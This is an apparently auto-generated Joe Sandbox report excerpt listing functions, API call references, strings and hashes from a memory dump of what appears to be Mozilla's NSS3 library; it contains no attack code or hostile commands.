Opcode Fuzzy Hash: a6f47344e3ba60c1601535a2813087a036a35378c8f941fbc4bf735681ade5c4
Instruction Fuzzy Hash: F7D13CB6E016059BEB14CFEADC80A9EB7B5FF88308F158629D915A7711E731EC06CB50

Function 6C58A9A0 Relevance: 21.2, APIs: 14, Instructions: 214COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C58A9CA

Part of subcall function 6C5A0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5487ED,00000800,6C53EF74,00000000), ref: 6C5A1000
Part of subcall function 6C5A0FF0: PR_NewLock.NSS3(?,00000800,6C53EF74,00000000), ref: 6C5A1016
Part of subcall function 6C5A0FF0: PL_InitArenaPool.NSS3(00000000,security,6C5487ED,00000008,?,00000800,6C53EF74,00000000), ref: 6C5A102B

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6C6A0B04,?), ref: 6C58A9F7

Part of subcall function 6C59B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6718D0,?), ref: 6C59B095

PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C58AA0B
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C58AA33
PK11_GetInternalKeySlot.NSS3 ref: 6C58AA55
PK11_Authenticate.NSS3(00000000,00000001,?), ref: 6C58AA69
PORT_FreeArena_Util.NSS3(00000001,00000001), ref: 6C58AAD4
PK11_ListFixedKeysInSlot.NSS3(?,00000000,?), ref: 6C58AB18
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C58AB5A
PK11_FreeSymKey.NSS3(00000000), ref: 6C58AB85
PK11_FreeSymKey.NSS3(00000000), ref: 6C58AB99
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C58ABDC
PK11_FreeSymKey.NSS3(?), ref: 6C58ABE9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C58ABF7

Part of subcall function 6C58AC10: PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C58AB3E,?,?,?), ref: 6C58AC35
Part of subcall function 6C58AC10: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C58AB3E,?,?,?), ref: 6C58AC55
Part of subcall function 6C58AC10: PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C58AB3E,?,?), ref: 6C58AC70
Part of subcall function 6C58AC10: PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C58AC92
Part of subcall function 6C58AC10: PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C58AB3E), ref: 6C58ACD7

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: K11_$Util$Free$Arena_Item_$Zfree$ArenaContextSlot$Alloc_AuthenticateBlockCipherCreateDecodeDestroyErrorFixedInitInternalKeysListLockPoolQuickSizecalloc
String ID:
API String ID: 2602994911-0
Opcode ID: 1631b593119582149c5beb92942eeee33d4b40ed264dbacffd57b93d1d7bee0f
Instruction ID: 5f1379d6196d67dc547a65d986fa5c279693620381357af638541e80ad037575
Opcode Fuzzy Hash: 1631b593119582149c5beb92942eeee33d4b40ed264dbacffd57b93d1d7bee0f
Instruction Fuzzy Hash: 0B711371A0A3219BE700CF659C80B5BB3A5EFC4758F104A29F86597B91FB31DD488792

Function 6C4DAEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C5FCF46,?,6C4CCDBD,?,6C5FBF31,?,?,?,?,?,?,?), ref: 6C4DB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C5FCF46,?,6C4CCDBD,?,6C5FBF31), ref: 6C4DB090
sqlite3_free.NSS3(?,?,?,?,?,?,6C5FCF46,?,6C4CCDBD,?,6C5FBF31), ref: 6C4DB0A2
CloseHandle.KERNEL32(?,?,6C5FCF46,?,6C4CCDBD,?,6C5FBF31,?,?,?,?,?,?,?,?,?), ref: 6C4DB100
sqlite3_free.NSS3(?,?,00000002,?,6C5FCF46,?,6C4CCDBD,?,6C5FBF31,?,?,?,?,?,?,?), ref: 6C4DB115
sqlite3_free.NSS3(?,?,?,?,?,?,6C5FCF46,?,6C4CCDBD,?,6C5FBF31), ref: 6C4DB12D

Part of subcall function 6C4C9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C4DC6FD,?,?,?,?,6C52F965,00000000), ref: 6C4C9F0E
Part of subcall function 6C4C9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C52F965,00000000), ref: 6C4C9F5D

Strings

`el, xrefs: 6C4DB0DF

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `el
API String ID: 3155957115-3349905385
Opcode ID: 37481a1d9e3a60e7d986d44a9bdf8391e0e90b478f8d6268d1612630dd5bfb0d
Instruction ID: 6d0bea0639094f19f33ff71deeb381d33f9d962ae1e3f1f99e2b475e709f30b9
Opcode Fuzzy Hash: 37481a1d9e3a60e7d986d44a9bdf8391e0e90b478f8d6268d1612630dd5bfb0d
Instruction Fuzzy Hash: 8291DCB0A042028FDB04EF66D894F6AB7B1FF46309F16462DE41697B50EB31F845CB96

Function 6C570EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C570F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C570FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C571006
PK11_FreeSymKey.NSS3(?), ref: 6C57101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C571033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C57103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C571048
memcpy.VCRUNTIME140(?,?,?), ref: 6C57108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C5710BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C5710D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C57112E

Part of subcall function 6C571570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C5708C4,?,?), ref: 6C5715B8
Part of subcall function 6C571570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C5708C4,?,?), ref: 6C5715C1
Part of subcall function 6C571570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C57162E
Part of subcall function 6C571570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C571637

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 63804f44a18d0fd097ab74da7c6fc2246dfc218b7b53bb9ad3897927e4efbbad
Instruction ID: 51dc25d3157696a7b207201ad65c04fcf1de338669a49c303dbe49da382a211e
Opcode Fuzzy Hash: 63804f44a18d0fd097ab74da7c6fc2246dfc218b7b53bb9ad3897927e4efbbad
Instruction Fuzzy Hash: A071C0B1A00245CFDB14CFA5CC94A6BB7F4BF88318F148629E90D9B711E731E994CBA1

Function 6C4D0FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C4CCA30: EnterCriticalSection.KERNEL32(?,?,?,6C52F9C9,?,6C52F4DA,6C52F9C9,?,?,6C4F369A), ref: 6C4CCA7A
Part of subcall function 6C4CCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C4CCB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C4D103E
EnterCriticalSection.KERNEL32(?), ref: 6C4D1139
LeaveCriticalSection.KERNEL32(?), ref: 6C4D1190
sqlite3_free.NSS3(00000000), ref: 6C4D1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C4D126E
sqlite3_free.NSS3(?), ref: 6C4D127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6C4D1267
Pel, xrefs: 6C4D109E
winAccess, xrefs: 6C4D129B

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: Pel$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-2231841629
Opcode ID: 453e0e9cb81fe761f35bcc5b2c9a92e87917d7503ed174018a85c4f93d83b3cd
Instruction ID: 27f25edd76f35c9116ecd892c848e72235250012a062ea03a4449967f4081a14
Opcode Fuzzy Hash: 453e0e9cb81fe761f35bcc5b2c9a92e87917d7503ed174018a85c4f93d83b3cd
Instruction Fuzzy Hash: 6B71F8357042019BEB04EF66ECE5E6E33B5FB8A335F150629ED1297A80DB31F841C696

Function 6C596C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C541C6F,00000000,00000004,?,?), ref: 6C596C3F

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C541C6F,00000000,00000004,?,?), ref: 6C596C60
PR_ExplodeTime.NSS3(00000000,6C541C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C541C6F,00000000,00000004,?,?), ref: 6C596C94

Strings

gfff, xrefs: 6C596D66
gfff, xrefs: 6C596D9C
gfff, xrefs: 6C596CF5
gfff, xrefs: 6C596CFD
gfff, xrefs: 6C596D30

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 9a526355a0ce040c16c855cc922f31b7e6fd604a1b0f97b0a9d2d1d468bcf574
Instruction ID: 07343829f2af2281ecaf3234a8ee5f3aa60f9cd9e63789ec7b1d307128c315f5
Opcode Fuzzy Hash: 9a526355a0ce040c16c855cc922f31b7e6fd604a1b0f97b0a9d2d1d468bcf574
Instruction Fuzzy Hash: 97513B72B016494FC708CDADDC526DEB7DAABE4310F48C23AE842DB781DA38D906C751

Function 6C610F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C611027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6110B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C611353

Strings

$, xrefs: 6C6112A0
zeroblob(%d), xrefs: 6C611223
%lld, xrefs: 6C61114B
-- , xrefs: 6C610FF5
%02x, xrefs: 6C6112F6
'%.*q', xrefs: 6C611217, 6C611292
NULL, xrefs: 6C61119E

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: f54f7a00dbd857da0cad1806a21e717360c8fec5d6be28204b885854d4b1880f
Instruction ID: db16cbcf392e5482f6023c8b1bc3996c74a9784b2790b00ec19e74fa5b3f46e0
Opcode Fuzzy Hash: f54f7a00dbd857da0cad1806a21e717360c8fec5d6be28204b885854d4b1880f
Instruction Fuzzy Hash: AAE19D71A0C380DFD704CF18C880AABBBF1AF96359F14891DE99587B51E771E845CB46

Function 6C618FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C618FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6190DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C619118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C61915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6191C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C619209

Strings

UUUU, xrefs: 6C619255
3333, xrefs: 6C61925E

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: dcc22dec3608dae6fb5ad231ca0b0e0b312255f0d69d52c810effadd7ae6bcde
Instruction ID: 712b76160d26a88d503a3fc7df09336bba56af442205332ea7099d5be8984a4c
Opcode Fuzzy Hash: dcc22dec3608dae6fb5ad231ca0b0e0b312255f0d69d52c810effadd7ae6bcde
Instruction Fuzzy Hash: 20A19E72E001159FDB08CF69CC80BEEB7B5BB89329F194169D905A7741E736EC11CBA4

Function 6C658D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C6A14E4,6C60CC70), ref: 6C658D47
PR_GetCurrentThread.NSS3 ref: 6C658D98

Part of subcall function 6C530F00: PR_GetPageSize.NSS3(6C530936,FFFFE8AE,?,6C4C16B7,00000000,?,6C530936,00000000,?,6C4C204A), ref: 6C530F1B
Part of subcall function 6C530F00: PR_NewLogModule.NSS3(clock,6C530936,FFFFE8AE,?,6C4C16B7,00000000,?,6C530936,00000000,?,6C4C204A), ref: 6C530F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C658E7B
htons.WSOCK32(?), ref: 6C658EDB
PR_GetCurrentThread.NSS3 ref: 6C658F99
PR_GetCurrentThread.NSS3 ref: 6C65910A

Strings

%u.%u.%u.%u, xrefs: 6C658E74

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 635912ac664735af2679cac042626ea839f749619ade7b09fd3627c61accaa3d
Instruction ID: d6826ad55cb73ef10a85cf505731159689069b8847225bb459fc53793e7d86a8
Opcode Fuzzy Hash: 635912ac664735af2679cac042626ea839f749619ade7b09fd3627c61accaa3d
Instruction Fuzzy Hash: 5402CE71A062618FDB24CF19C4583A6BBB3EF4730CFA9825EC8915FAA1C335D916C794

Function 6C5FA480 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 235COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C61C3A2,?,?,00000000,00000000), ref: 6C5FA528
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5FA6E0
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5FA71B
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5FA738

Strings

%s at line %d of [%.10s], xrefs: 6C5FA6D9
database corruption, xrefs: 6C5FA6D4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5FA6CA

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: _byteswap_ushort$_byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 622669576-598938438
Opcode ID: b43235a14eb74a66ebb72a4a52ad408e8ff59bdb9962cae9b89054d22f69ac03
Instruction ID: 6628ffda7e9df85b51a4d99d10774adcc80652ae160d389eff926df480edf344
Opcode Fuzzy Hash: b43235a14eb74a66ebb72a4a52ad408e8ff59bdb9962cae9b89054d22f69ac03
Instruction Fuzzy Hash: 4591D671A083418FCB19CF29C880A5AB7E1BF88714F55495DE8A58BB91E770EC46CF93

Function 6C5D68E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6C5D68FC
PR_EnterMonitor.NSS3 ref: 6C5D6924

Part of subcall function 6C609090: TlsGetValue.KERNEL32 ref: 6C6090AB
Part of subcall function 6C609090: TlsGetValue.KERNEL32 ref: 6C6090C9
Part of subcall function 6C609090: EnterCriticalSection.KERNEL32 ref: 6C6090E5
Part of subcall function 6C609090: TlsGetValue.KERNEL32 ref: 6C609116
Part of subcall function 6C609090: LeaveCriticalSection.KERNEL32 ref: 6C60913F

Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307AD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307CD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307D6
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C4C204A), ref: 6C5307E4
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,6C4C204A), ref: 6C530864
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C530880
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,6C4C204A), ref: 6C5308CB
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308D7
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308FB

PR_EnterMonitor.NSS3 ref: 6C5D693E
TlsGetValue.KERNEL32 ref: 6C5D6977
TlsGetValue.KERNEL32 ref: 6C5D69B8
PR_ExitMonitor.NSS3 ref: 6C5D6B1E
PR_ExitMonitor.NSS3 ref: 6C5D6B39
TlsGetValue.KERNEL32 ref: 6C5D6B62

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: 01dc136b68d070fe53f0f057b9125569ce415622a03b7eb55238d35b957478b0
Instruction ID: 714701aa7b16519e2a45ce70e1909dea6d85a9634f10d5b7652f81585c3884f8
Opcode Fuzzy Hash: 01dc136b68d070fe53f0f057b9125569ce415622a03b7eb55238d35b957478b0
Instruction Fuzzy Hash: 11916074654710CBE750CF2ECC8055D7BA2FB87308B628E59C844DBA19DB71F982CB9A

Function 6C5D4540 Relevance: 12.2, APIs: 8, Instructions: 170COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5D4571
memset.VCRUNTIME140(?,00000000,00000000), ref: 6C5D45B1
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C5D45C2

Part of subcall function 6C5D04C0: WaitForSingleObject.KERNEL32(ED850FC0,000000FF,?,00000000,?,6C5D461B,-00000004), ref: 6C5D04DF
Part of subcall function 6C5D04C0: PR_SetError.NSS3(FFFFE89D,00000000,?,00000000,?,6C5D461B,-00000004), ref: 6C5D0534

PR_Now.NSS3 ref: 6C5D4626

Part of subcall function 6C609DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C650A27), ref: 6C609DC6
Part of subcall function 6C609DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C650A27), ref: 6C609DD1
Part of subcall function 6C609DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C609DED

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5D4634
memcmp.VCRUNTIME140(?,?,?,00000000,?,000F4240,00000000), ref: 6C5D46C4
PR_SetError.NSS3(FFFFD05A,00000000,00000000,?,000F4240,00000000), ref: 6C5D46E3
PR_SetError.NSS3(?,00000000), ref: 6C5D4722

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

